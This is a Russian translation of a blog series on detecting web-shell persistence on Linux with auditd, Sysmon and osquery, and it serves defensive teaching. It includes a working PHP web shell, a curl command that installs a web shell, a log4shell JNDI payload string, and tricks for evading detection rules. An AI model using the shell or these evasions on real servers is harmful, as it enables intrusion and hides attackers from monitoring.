Данная публикация - перевод серии статей от Pepe Berba - Hunting for Persistence in Linux.

! Все приведённые в данном материале примеры эксплоитов предназначены исключительно для изучения и проработки мер безопасности. Их использование в злонамеренных целях строго запрещено и противоречит законодательству. Автор и источник не несут ответственности за неправомерные действия, совершённые с использованием данной информации. !

Введение в закрепление

Закрепление включает в себя методы, которые злоумышленники используют для сохранения доступа к системам после перезагрузок, смены учетных данных и других событий, способных прервать их доступ. Атакующие применяют техники закрепления, чтобы не пришлось повторять этапы эксплуатации. Помните, что эксплуатация — это лишь первый шаг для злоумышленника, им еще предстоит предпринять дополнительные действия для достижения своей основной цели.

После успешного получения доступа к машине злоумышленникам нужно перемещаться по сети и найти способ получить доступ к самым ценным данным и вывести их.

Во время этих действий после эксплуатации соединение злоумышленника с машиной может быть прервано, и для восстановления доступа ему возможно придется повторить этап эксплуатации. Повторное проведение эксплуатации может быть затруднено в зависимости от вектора атаки:

  • Отправка электронной почты с вредоносным вложением: жертва вряд ли откроет одно и то же вредоносное письмо дважды. Придется отправлять новое письмо и надеяться, что жертва снова попадется.

  • Использование утекших учетных данных и ключей: пароли могут быть сброшены, а ключи — отозваны.

  • Эксплуатация серверов с критическими уязвимостями (CVE): сервер может быть обновлен и защищён патчами.

Из-за сложности повторной эксплуатации злоумышленник стремится максимально использовать первоначальный доступ. Для этого они устанавливают бэкдор — способ доступа, который надежно сохраняет доступ к скомпрометированной машине даже после перезагрузок.

С установленным закреплением злоумышленнику больше не нужно полагаться на эксплуатацию для восстановления доступа к системе. Он может просто использовать добавленную учетную запись на машине или ждать обратного шелла от установленного сервиса.

0 Логирование и аудит в Linux

0.1 Мониторинг целостности файлов

Для настройки закрепления злоумышленнику обычно приходится вносить изменения на диск машины, например создавать или изменять файлы. Это даёт нам возможность обнаружить злоумышленников, если мы будем отслеживать создание или изменение файлов, связанных с важными файлами и директориями. Например, при попытке обнаружить установку служб стоит обратить внимание на новые файлы служб в каталоге /etc/systemd/system и других связанных директориях.

Для этого можно использовать следующие инструменты:

В рамках этой серии постов мы будем использовать в основном auditd и Auditbeat совместно.

0.2 Auditd и Sysmon

0.2.1 Что такое Sysmon и Auditd?
Два мощных инструмента для мониторинга процессов в операционной системе:

  • auditd — де-факто стандартный инструмент аудита и логирования в Linux.

  • sysmon — ранее инструмент, существовавший исключительно для Windows, но недавно был выпущен для Linux.

Оба инструмента требуют настройки правил, чтобы генерировать осмысленные журналы и оповещения. Мы будем использовать следующие репозитории для настройки правил:

Установка Sysmon для Linux (на примере Debian 10)

Для установки Sysmon на Debian 10 я следовал официальной инструкции из Sysinternals/SysmonForLinux:

get -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg  
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/  
wget -q https://packages.microsoft.com/config/debian/10/prod.list  
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list  
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg  
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list

sudo apt-get update  
sudo apt-get install apt-transport-https  
sudo apt-get update  
sudo apt-get install sysmonforlinux

Для настройки правил я использовал конфигурации из репозитория microsoft/MSTIC-Sysmon:

git clone https://github.com/microsoft/MSTIC-Sysmon.git 
cd MSTIC-Sysmon/linux/configs  
sudo sysmon -accepteula -i main.xml

# if you are experimenting and want to see all sysmon logs use  
# sudo sysmon -accepteula -i main.xml

После этого журналы Sysmon должны появиться в файле: /var/log/syslog

Если вы хотите изменить правила в main.xml, просто отредактируйте файл и затем перезагрузите конфигурацию:

sudo sysmon -c main.xml  
sudo systemctl restart sysmon

0.2.2 Сравнение Sysmon и Auditd

На момент написания этого поста Sysmon для Linux был выпущен всего около месяца назад. У меня пока нет опыта его развёртывания в масштабах продакшн-среды. Поддержка Sysmon для Linux всё ещё находится в стадии разработки для таких агентов, как Linux Elastic Agent.

Примечание: Автор использовал версию: sysmonforlinux/buster, now 1.0.0. На момент публикации - актуальная версия Sysmon для Linux — 1.3.3, которая была выпущена в июне 2024 года.

  • Определения правил в Sysmon гораздо гибче, чем в auditd.

  • Как и в случае с другими правилами, основанными на построчном сопоставлении, правила, зависящие от пользовательских полей ввода, таких как CommandLine, могут быть обойдены.

  • Я столкнулся с проблемами, связанными с обрезанными заголовками правил в логах.

  • Auditd позволяет фильтровать события на уровне системных вызовов (syscall), тогда как Sysmon работает с предопределёнными событиями более высокого уровня, такими как ProcessCreation или FileCreate. Это означает, что если интересующая вас активность не сопоставлена с каким-либо событием Sysmon, вам будет сложно отследить её через этот инструмент.

В целом, я с оптимизмом смотрю на перспективу использования Sysmon для Linux в будущем — особенно для мониторинга интересных процессов и сетевых подключений. Однако для мониторинга целостности файлов я по-прежнему полагаюсь на другие инструменты, такие как auditd или Auditbeat.

В Windows наличие только события FileCreate вполне приемлемо, поскольку есть и другие события, связанные с изменениями конфигурации, такие как RegistryEvent для отслеживания ключей реестра. А вот в Linux, где практически все конфигурации представлены в виде обычных файлов, мониторинг целостности играет намного более важную роль при поиске изменений системных настроек.

Плюс Sysmon в том, что правила для сетевой активности и создания процессов выражаются намного гибче и нагляднее. Это гораздо интуитивнее, чем попытки использовать в auditd параметры типа a0, a1 и т.д. для сопоставления аргументов командной строки.

Вот несколько примеров обхода правил:

  • T1087.001_LocalAccount_Commands.xml ищет команды, содержащие /etc/passwd, чтобы выявить попытки перечисления аккаунтов. Эту проверку можно обойти, выполнив, например: cat /etc//passwd (двойной слэш не меняет путь, но позволяет обойти простую построчную проверку).

  • T1070.006_Timestomp_Touch.xml отслеживает использование опций -r или --reference в команде touch, чтобы выявить попытки подделки временных меток. Обход возможен следующими способами: touch a -\r b или touch a --re\ference=b.

  • T1053.003_Cron_Activity.xml предназначено для мониторинга изменений в crontab. Однако, если использовать команду: echo "* * * * * root touch /root/test" >> /etc/crontab о правило не сработает, так как файл не создаётся заново и не перезаписывается — происходит просто добавление строки. Кроме того, в Debian 10 стандартное использование crontab -e также не триггерит это правило, поскольку TargetFilename в нём задан как +/var/spool/cron/crontabs, а знак плюс в начале вызывает сбой при сопоставлении правила.

Вы можете ознакомиться с архитектурой auditd и Sysmon по следующим источникам:

Из диаграммы на linuxsecurity.com видно, что Sysmon работает поверх eBPF — интерфейса для перехвата системных вызовов (syscalls) ядра Linux. Это даёт удобный уровень абстракции при создании правил Sysmon, позволяя сосредоточиться на логике поведения, а не на низкоуровневых деталях.

Однако такая архитектура имеет и обратную сторону: гибкость eBPF даёт злоумышленникам больше возможностей для обхода правил, поскольку Sysmon обрабатывает события на более высоком уровне, чем, например, auditd, который работает ближе к "железу" и системным вызовам. В результате некоторые действия атакующего могут просто не попасть под определённые правила Sysmon, особенно если они не предусмотрены как отдельные события (например, модификация файла без его перезаписи).

Например, в Sysmon мы можем отслеживать событие FileCreate с определённым TargetFilename. Это даёт большую гибкость, поскольку можно задавать правила на основе шаблонов или ключевых слов, включая файлы, которые ещё не существуют. Однако, такой подход основан на построчном сопоставлении, и, например, проверка на /etc/passwd может не сработать, если путь отличается хотя бы символом.

С другой стороны, auditd отслеживает действия на уровне inode файлов и директорий. Это исключает любую неоднозначность в том, какие именно файлы нужно контролировать. Можно даже отслеживать доступ на чтение к конкретным файлам. Но поскольку мониторинг идёт по inode, файлы должны существовать в момент запуска службы auditd. Это означает, что нельзя отслеживать файлы по шаблонам вроде */.ssh/authorized_keys, если таких файлов ещё нет.

0.3 osquery

Osquery позволяет исследовать наши конечные точки с помощью SQL-запросов, что значительно упрощает сбор информации и расследование инцидентов.

Более того, в связке с управляющим интерфейсом, таким как fleetdm, вы можете создавать базовые показатели (baselines) вашей среды и даже искать злоумышленников.

Пример из будущего поста в блоге — поиск аккаунтов с установленным паролем. Если вы ожидаете, что инженеры всегда подключаются по SSH с использованием публичного ключа, то активных паролей быть не должно.

Получить эту информацию можно с помощью следующего запроса:

SELECT password_status, username, last_change
FROM shadow 
WHERE password_status = 'active';

И получить результаты по всему вашему пулу устройств, примерно такие:

+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active          | www-data | 18953       |
+-----------------+----------+-------------+

А вот почему у пользователя www-data есть пароль? Хм... Инструкции по установке можно найти в официальной документации. После установки просто запустите osqueryi и выполните нужные SQL-запросы.

Компонент сервера: веб-шелл

1.1 Введение в веб-шеллы

MITRE: https://attack.mitre.org/techniques/T1505/003/

Веб-шелл — это бэкдор, установленный злоумышленником на веб-сервере. После установки он становится первоначальной точкой доступа для атакующего, и если его вовремя не обнаружить, то он превращается в удобный и постоянный бэкдор.

В нашем примере для установки веб-шелла мы добавляем вредоносный .php файл в директорию /var/www/html. Такое может произойти по нескольким причинам:

  • веб-приложение имеет уязвимый API для загрузки файлов;

  • в веб-приложении есть критическая уязвимость удалённого выполнения кода (RCE);

  • злоумышленник уже имеет доступ и может изменять содержимое корневой папки веб-сервера.

Если атакующий может загрузить вредоносные файлы, которые запускаются как PHP, он получает удалённый доступ к машине.

Яркий пример — утечка данных Equifax в 2017 году. Можно почитать официальный отчёт, а вот краткое резюме:

Веб-сервер работал на Apache Struts с критической уязвимостью RCE. Атакующие использовали её, чтобы загрузить веб-шеллы, с помощью которых получили доступ к конфиденциальным данным и вынесли их. В ходе атаки было использовано около 30 различных веб-шеллов.

См. следующие ресурсы:

1.2 Установка собственных веб-шеллов

Предположим, что у нас уже есть возможность удалённого выполнения кода (RCE). Тогда мы добавляем файл phpinfo.php, который будет содержать наш веб-шелл.

vi /var/www/html/phpinfo.php

Выберите любой из примеров PHP веб-шеллов. Например:

<html>  
<body>  
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">  
<input type="TEXT" name="cmd" id="cmd" size="80">  
<input type="SUBMIT" value="Execute">  
</form>  
<pre>  
<?php  
    if(isset($_GET['cmd']))  
    {  
        system($_GET['cmd']);  
    }  
?>  
</pre>

Теперь любой, кто получит доступ к адресу http://x.x.x.x/phpinfo.php, сможет использовать веб-шелл и выполнять произвольные команды.

Что если у вас нет доступа к шеллу? Возможно, вы сможете установить веб-шелл через неограниченную загрузку файлов. Загрузите ваш PHP-бэкдор под именем image.png.php, и бэкдор может стать доступен по адресу http://x.x.x.x/uploads/image.png.php.

Другой возможной командой, которую вы можете использовать, является:

curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php

1.3 Обнаружение: создание или изменение PHP-файлов

Использование мониторинга целостности файлов в Auditbeat

Для некоторых веб-приложений мы можем отслеживать каталоги веб-приложения с помощью мониторинга целостности файлов в Auditbeat.

- module: file_integrity  
  paths:  
  - /bin  
  - /usr/bin  
  - /sbin  
  - /usr/sbin  
  - /etc  
  - /var/www/html    # <--- Add  
- module: system  
  datasets:  
    - package # Installed, updated, and removed packages

При использовании модуля мониторинга целостности файлов в auditbeat мы видим, что нужно фильтровать по event.module: file_integrity.

Наша команда vi «переместила» файл. В данном случае «переместить» означает то же, что и «обновить», из-за особенностей работы vi. Редактор создаёт временный файл /var/www/html/phpinfo.php.swp, а при сохранении заменяет им оригинальный файл /var/www/html/phpinfo.php.

Пример команды, которая приведёт к созданию записи в журнале:

curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php

Использование audit для отслеживания изменений

Мы можем добавить следующее правило в auditd:

-w /var/www/html -p wa -k www_changes

И вы можете искать все записи об изменениях файлов в /var/www/html, используя фильтр по тегам: www_changes или key="www_changes".

Исходные логи auditd выглядят так:

type=SYSCALL msg=audit(1637597150.454:10650): arch=c000003e syscall=257
success=yes exit=4 a0=ffffff9c a1=556e6969fbc0 a2=241 a3=1b6 items=2 ppid=12962 
pid=13086 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0
tty=pts0 ses=11 comm="curl" exe="/usr/bin/curl" subj==unconfined 
key="www_changes", type=PATH msg=audit(1637597150.454:10650): item=0 
name="/var/www/html" inode=526638 dev=08:01 mode=040755 ouid=0 ogid=0 
rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000
cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597150.454:10650): item=1 
name="backdoor_shell.php" inode=527243 dev=08:01 mode=0100644 ouid=0 ogid=0 
rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 
cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597150.454:10650): 
proctitle=6375726C0068747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F4A6F686E54726F6F6E792F7068702D7765627368656C6C732F6D61737465722F436F6C6C656374696F6E2F5048505F5368656C6C2E706870002D6F006261636B646F6F725F7368656C6C2E706870

Это позволяет нам отметить следующее:

  • euid=0 — эффективный UID (пользовательский идентификатор), от имени которого выполнено действие

  • exe="/usr/bin/curl" — команда, которая была запущена

  • name="/var/www/html" ... name="backdoor_shell.php" — файл назначения, в данном случае создаваемый или изменяемый файл

  • key="www_changes" — ключ, по которому сработало правило аудита (auditd alert)

  • proctitle=63757... — заголовок процесса в шестнадцатеричном виде, который представляет собой исходную команду curl

Заметки по мониторингу целостности файлов для обнаружения веб-шеллов

Есть и другие способы проверки. Например, если используется система контроля версий (например, git), можно сравнивать текущее состояние с известным «чистым» состоянием и исследовать различия.

Однако, если существуют папки, в которых ожидается частое создание и изменение файлов — например, каталоги для загрузки — мониторинг целостности файлов может быть не полностью эффективен. В таких случаях нужно будет тонко настраивать оповещения и пытаться исключать эти каталоги загрузок, чтобы уменьшить количество ложных срабатываний. Но как тогда обнаружить веб-шеллы, загруженные именно в этих каталогах?

Нам нужно искать более эффективные методы обнаружения веб-шеллов.

1.4 Обнаружение: отслеживание выполнения команд пользователем www-data с помощью auditd

Когда мы запускаем веб-серверы, такие как nginx, сервис работает под пользователем www-data. В нормальных условиях мы не ожидаем, что этот пользователь будет запускать команды вроде whoami или ls.

Однако при наличии веб-шелла именно такие команды мы с большой вероятностью увидим. Поэтому стоит использовать auditd для их обнаружения.

Вот правило auditd, которое будет отслеживать системные вызовы execve от пользователя www-data (euid=33) и помечать их тегом detect_execve_www:

-a always,exit -F arch=b64 -F euid=33 -S execve -k detect_execve_www  
-a always,exit -F arch=b32 -F euid=33 -S execve -k detect_execve_www

Мы выполняем следующие команды через наш веб-шелл:

whoami  
id  
pwd  
ls -alh

Мы получаем следующие логи от auditd, обработанные auditbeats.

Вот пример необработанного лога auditd для команды whoami:

type=SYSCALL msg=audit(1637597946.536:10913): arch=c000003e syscall=59 
success=yes exit=0 a0=7fb62eb89519 a1=7ffd0906fa70 a2=555f6f1d7f50 a3=1 items=2 
ppid=7182 pid=13281 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 
egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="sh"
exe="/usr/bin/dash" subj==unconfined key="detect_execve_www", type=EXECVE 
msg=audit(1637597946.536:10913):  argc=3 a0="sh" a1="-c" a2="whoami", type=PATH
msg=audit(1637597946.536:10913): item=0 name="/bin/sh" inode=709 dev=08:01 
mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 
cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH 
msg=audit(1637597946.536:10913): item=1 name="/lib64/ld-linux-x86-64.so.2" 
inode=1449 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 
cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, 
type=PROCTITLE msg=audit(1637597946.536:10913):
proctitle=7368002D630077686F616D69Appendix

Это позволяет нам отметить следующее:

  • euid=33, uid=33 — идентификаторы пользователя www-data

  • comm="sh" и exe="/usr/bin/dash" — используемый шелл

  • argc=3, a0="sh", a1="-c", a2="whoami" — аргументы, переданные шеллу, то есть выполненная команда

  • key="detect_execve_www" — ключ оповещения auditd, по которому сработало правило

Примечание по поводу detect_execve_www

Допустим, вы решаете использовать правила по умолчанию, найденные в https://github.com/Neo23x0/auditd/blob/master/audit.rules

Если вы попытаетесь использовать готовые правила обнаружения, например, те, что идут вместе с Sigma, то, возможно, выберете правило lnx_auditd_web_rce.yml. Однако при использовании этого правила из набора Neo23x0 вы не сможете обнаружить веб-шеллы.

Это происходит потому, что правило обнаружения:

detection:  
    selection:  
        type: 'SYSCALL'  
        syscall: 'execve'  
        key: 'detect_execve_www'  
    condition: selection

Обратите внимание, что в правиле фильтруется ключ detect_execve_www, однако такой ключ нигде не определён в файле audit.rules от Neo23x0! Именно поэтому всегда важно тестировать свои настройки и проверять, обнаруживают ли они известные угрозы.

В правилах Neo23x0 ближайшее к этому — это правила, которые по умолчанию закомментированы:

## Suspicious shells  
#-w /bin/ash -p x -k susp_shell  
#-w /bin/bash -p x -k susp_shell  
#-w /bin/csh -p x -k susp_shell  
#-w /bin/dash -p x -k susp_shell  
#-w /bin/busybox -p x -k susp_shell  
#-w /bin/ksh -p x -k susp_shell  
#-w /bin/fish -p x -k susp_shell  
#-w /bin/tcsh -p x -k susp_shell  
#-w /bin/tclsh -p x -k susp_shell  
#-w /bin/zsh -p x -k susp_shell

В нашем случае веб-шелл использовал /bin/dash, так как это оболочка по умолчанию, на которую указывает /bin/sh в тестируемой виртуальной машине. Следовательно, актуальное правило будет выглядеть так:

-w /bin/dash -p x -k susp_shell

Но это правило опирается на использование именно /bin/dash. Если веб-шелл сможет использовать другую оболочку, то такое конкретное оповещение не сработает. Поэтому обязательно тестируйте ваши auditd-правила на конкретных сценариях, чтобы убедиться, что они действительно работают так, как вы ожидаете.

Больше информации о том, как писать правила для auditd, можно найти здесь:

1.5 Обнаружение: Поиск выполнения команд от имени www-data с помощью Sysmon

В MSTIC-Sysmon существуют два правила, относящихся к обнаружению веб-шеллов, а именно:

  • T1505.003Server Software Component: Web Shell

  • T1059.004 Command and Scripting Interpreter: Unix Shell

Где мы это видим:

  • Создание процесса с использованием /bin/bash, /bin/dash или /bin/sh.

  • Создание процесса, у которого родительским процессом является dash, nginx или другой похожий процесс, и выполняемая команда — одна из: whoami, ifconfig, /usr/bin/ip и т.д.

Если мы запустим whoami в нашей тестовой среде, то первым сработает правило
T1059.004, TechniqueName=Command and Scripting Interpreter: Unix Shell,
так как оно стоит выше в порядке обработки правил.

<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>1</EventID>
    <Version>5</Version>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>sysmon-test</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1059.004,TechniqueName=Command and Scriptin</Data>
    <Data Name="UtcTime">2021-11-23 14:06:07.116</Data>
    <Data Name="ProcessGuid">{717481a5-f54f-619c-2d4e-bd5574550000}</Data>
    <Data Name="ProcessId">11662</Data>
    <Data Name="Image">/usr/bin/dash</Data>
    <Data Name="FileVersion">-</Data>
    <Data Name="Description">-</Data>
    <Data Name="Product">-</Data>
    <Data Name="Company">-</Data>
    <Data Name="OriginalFileName">-</Data>
    <Data Name="CommandLine">sh -c whoami</Data>
    <Data Name="CurrentDirectory">/var/www/html</Data>
    <Data Name="User">www-data</Data>
    <Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data>
    <Data Name="LogonId">33</Data>
    <Data Name="TerminalSessionId">4294967295</Data>
    <Data Name="IntegrityLevel">no level</Data>
    <Data Name="Hashes">-</Data>
    <Data Name="ParentProcessGuid">{00000000-0000-0000-0000-000000000000}</Data>
    <Data Name="ParentProcessId">10242</Data>
    <Data Name="ParentImage">-</Data>
    <Data Name="ParentCommandLine">-</Data>
    <Data Name="ParentUser">-</Data>
  </EventData>
</Event>

Здесь мы видим выполнение /bin/dash, поэтому и сработало правило. Затем срабатывает правило T1505.003, TechniqueName=Server Software Component: Web Shell, поскольку была выполнена команда whoami.

<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>1</EventID>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1505.003,TechniqueName=Serv</Data>
    <Data Name="UtcTime">2021-11-23 14:06:07.118</Data>
    <Data Name="ProcessGuid">{717481a5-f54f-619c-c944-fd0292550000}</Data>
    <Data Name="ProcessId">11663</Data>
    <Data Name="Image">/usr/bin/whoami</Data>
    <Data Name="CommandLine">whoami</Data>
    <Data Name="CurrentDirectory">/var/www/html</Data>
    <Data Name="User">www-data</Data>
    <Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data>
    <Data Name="LogonId">33</Data>
    <Data Name="ParentProcessId">11662</Data>
    <Data Name="ParentImage">/usr/bin/dash</Data>
    <Data Name="ParentCommandLine">sh</Data>
    <Data Name="ParentUser">www-data</Data>
  </EventData>
</Event>

Теперь, обладая этой информацией, мы можем обойти правило T1505.003 Sysmon, выполнив: system("/bin/bash whoami") в этом случае родительским процессом команды whoami будет не /bin/dash, а /bin/bash, и правило T1505.003 не сработает, потому что оно ожидает dash или nginx в качестве родителя. Вместо этого сработают два правила T1059.004, так как будет зафиксировано создание новой оболочки.

Вот пример, как можно воспроизвести правило detect_execve_www в Sysmon:

 <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="detect_shell_www" groupRelation="and">
          <User condition="is">www-data</User>
          <Image condition="contains any">/bin/bash;/bin/dash;/bin/sh;whoami</Image>
        </Rule>
      </ProcessCreate>
    </RuleGroup>

И если мы хотим делать базовый мониторинг целостности файлов с помощью sysmon, мы можем использовать

<FileCreate onmatch="include">
    <Rule name="change_www" groupRelation="or">
        <TargetFilename condition="begin with">/var/www/html</TargetFilename> 
    </Rule>
</FileCreate>

Для получения дополнительной информации о создании собственных правил sysmon вы можете посмотреть:

1.6 Обнаружение: Поиск инициированных соединений от www-data

Если от вашего веб-сервера не ожидается создание исходящих соединений, то мы можем отслеживать исходящие соединения, создаваемые пользователем www-data.

Некоторые причины, по которым злоумышленник может это делать:

  • Загрузка дополнительных скриптов и инструментов

  • Установка обратного шелла

  • Горизонтальное перемещение, получая доступ к другим машинам через веб-шелл

1.6.1 auditd

Мы можем использовать auditd для отслеживания IP-соединений, созданных пользователем www-data (замените euid на других пользователей).

-a always,exit -F arch=b32 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=10 -F euid=33 -k www_data_connect
-a always,exit -F arch=b32 -S socket -F a0=2 -F euid=33  -k www_data_connect
-a always,exit -F arch=b64 -S socket -F a0=2 -F euid=33  -k www_data_connect

Например, если мы используем наш веб-шелл для curl https://www.google.com, мы получаем следующий лог auditd.

SYSCALL arch=c000003e syscall=41 success=yes exit=3 a0=a a1=80002 a2=0 
a3=7f33e33ad394 items=0 ppid=24271 pid=24272 auid=4294967295 uid=33 gid=33 euid=33 
suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="curl" 
exe="/usr/bin/curl" subj==unconfined key="www_data_connect"
PROCTITLE proctitle=6375726C0068747470733A2F2F7777772E676F6F676C652E636F6D

Как вы можете видеть, в логе отсутствуют метаданные IP, такие как порт назначения и IP-адрес назначения. Это затрудняет исключение некоторых известных (легитимных) соединений, которые веб-сервер может устанавливать, например, соединений с базой данных.

1.6.2 sysmon

В sysmon мы можем использовать следующее правило

 <NetworkConnect onmatch="include">
    <Rule name="www_data_connect" groupRelation="or">
        <User condition="end with">www-data</User>
    </Rule>
</NetworkConnect>

И мы получаем следующий вывод (некоторые поля удалены для краткости):

<Event>
    <System>
        <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
        <EventID>3</EventID>
    </System>
    <EventData>
        <Data Name="RuleName">www_data_connect</Data>
        <Data Name="Image">/usr/bin/curl</Data>
        <Data Name="User">www-data</Data>
        <Data Name="Protocol">tcp</Data>
        <Data Name="Initiated">true</Data>
        <Data Name="SourceIsIpv6">false</Data>
        <Data Name="SourceIp">10.2.0.29</Data>
        <Data Name="SourceHostname">-</Data>
        <Data Name="SourcePort">57774</Data>
        <Data Name="SourcePortName">-</Data>
        <Data Name="DestinationIsIpv6">false</Data>
        <Data Name="DestinationIp">64.233.191.105</Data>
        <Data Name="DestinationHostname">-</Data>
        <Data Name="DestinationPort">443</Data>
        <Data Name="DestinationPortName">-</Data>
    </EventData>
</Event>

Обратите внимание, что вывод sysmon содержит полезные поля, такие как DestinationIp, которые могут позволить нам более точно настроить правила для исключения соединений.

1.6.3 Пример: log4shell

Хотя строго говоря, это не веб-шелл и не закрепление. Это хороший пример, где проявляется гибкость sysmon.

Запустите уязвимое приложение через Docker, используя образ christophetd/log4shell-vulnerable-app. Для этого также потребуется эксплуатация (POC описан в репозитории).

См. Critical RCE Vulnerability: log4j - CVE-2021-44228  для полной информации. Кратко, уязвимость вызвана вредоносной строкой, такой как ${jndi:ldap://bad.com/exploit} Это заставляет приложение загрузить удалённый Java-объект и выполнить его. Это пример ситуации, когда исходящие соединения от Java-приложений могут быть признаком эксплуатации уязвимости. Мы можем использовать auditd и sysmon для отслеживания сетевых соединений, инициированных приложением, запущенным в Docker.

1.6.3.1 auditd

Из-за того, как работает Docker, контейнер и приложение запускаются от имени root. Поэтому, если мы ищем новые соединения, создаваемые приложением, нам нужно отслеживать соединения, создаваемые пользователем root

-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=2  -k root_connection
-a always,exit -F arch=b32 -S socket -F euid=0 -F a0=10 -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=2  -k root_connection
-a always,exit -F arch=b64 -S socket -F euid=0 -F a0=10 -k root_connection

Это приведёт к следующим логам

SYSCALL arch=c000003e syscall=41 success=yes exit=23 a0=2 a1=1 a2=0 a3=0 
items=0 ppid=26165 pid=26183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0
egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="java" 
exe="/usr/lib/jvm/java-1.8-openjdk/jre/bin/java" subj==docker-default (enforce) 
key="root_connection"
PROCTITLE proctitle=6A617661002D6A6172002F6170702F737072696E672D626F6F742D6170706C69636174696F6E2E6A6172

Хотя это правило и фиксирует эксплуатацию, оно также ловит другие обычные сетевые подключения, которые может создавать root. А что если мы хотим отфильтровать только соединения, созданные процессом «java»? Мне кажется, что сделать это с помощью фильтров auditd невозможно, хотя могу ошибаться.

1.6.3.2 sysmon

В sysmon это сделать будет намного проще.

<Rule name="log4shell" groupRelation="and">
    <Protocol condition="is">tcp</Protocol> 
    <Image condition="end with">java</Image>
</Rule>

И это приводит к следующему логу (некоторые поля удалены для краткости)

<?xml version="1.0"?>
<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>3</EventID>
  </System>
  <EventData>
    <Data Name="Image">/usr/lib/jvm/java-1.8-openjdk/jre/bin/java</Data>
    <Data Name="User">root</Data>
    <Data Name="Protocol">tcp</Data>
    <Data Name="Initiated">true</Data>
    <Data Name="SourceIsIpv6">false</Data>
    <Data Name="SourceIp">172.17.0.2</Data>
    <Data Name="SourceHostname">-</Data>
    <Data Name="SourcePort">40378</Data>
    <Data Name="SourcePortName">-</Data>
    <Data Name="DestinationIsIpv6">false</Data>
    <Data Name="DestinationIp">10.2.0.29</Data>
    <Data Name="DestinationHostname">-</Data>
    <Data Name="DestinationPort">1389</Data>
    <Data Name="DestinationPortName">-</Data>
  </EventData>
</Event>

1.7 Поиск веб-шеллов с помощью osquery

Для osquery мы, возможно, не сможем «найти» сам веб-шелл, но можем обнаружить свидетельства его использования. Если злоумышленник применяет веб-шелл, он, вероятно, попытается установить обратный шелл. В этом случае должно быть исходящее соединение от веб-сервера к атакующему.

SELECT pid, remote_address, local_port, remote_port, s.state, p.name, p.cmdline, p.uid, username  
FROM process_open_sockets  AS s 
JOIN processes AS p 
USING(pid) 
JOIN users 
USING(uid)
WHERE 
    s.state = 'ESTABLISHED' 
    OR s.state = 'LISTEN';

Этот запрос ищет процессы с сокетами, которые имеют установленные соединения или прослушивают порт.


+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| pid   | remote_address  | local_port | remote_port | state       | name            | cmdline                                | uid  | username |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| 14209 | 0.0.0.0         | 22         | 0           | LISTEN      | sshd            | /usr/sbin/sshd -D                      | 0    | root     |
| 468   | 0.0.0.0         | 80         | 0           | LISTEN      | nginx           | nginx: worker process                  | 33   | www-data |
| 461   | 74.125.200.95   | 51434      | 443         | ESTABLISHED | google_guest_ag | /usr/bin/google_guest_agent            | 0    | root     |
| 8563  | 10.0.0.13       | 39670      | 9200        | ESTABLISHED | auditbeat       | /usr/share/auditbeat/bin/auditbeat ... | 0    | root     |
| 17770 | 6.7.8.9         | 22         | 20901       | ESTABLISHED | sshd            | sshd: user@pts/0                       | 1000 | user     |
| 17776 | 1.2.3.4         | 51998      | 1337        | ESTABLISHED | bash            | bash                                   | 33   | www-data |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+

Обратите внимание, что мы видим открытые порты 22 и 80, что является нормальным. Также видны исходящие соединения некоторых бинарников, используемых GCP (моя виртуальная машина размещена в GCP), а также сервиса auditbeat, который отправляет логи в SIEM.

Также есть активное SSH-соединение с IP 6.7.8.9, что, возможно, нормально.

Но на ваш взгляд должно привлечь внимание соединение с pid = 17776. Это исходящее соединение на порт 1337, запущенное пользователем www-data через shell! Скорее всего, это активный обратный шелл!

Заключение

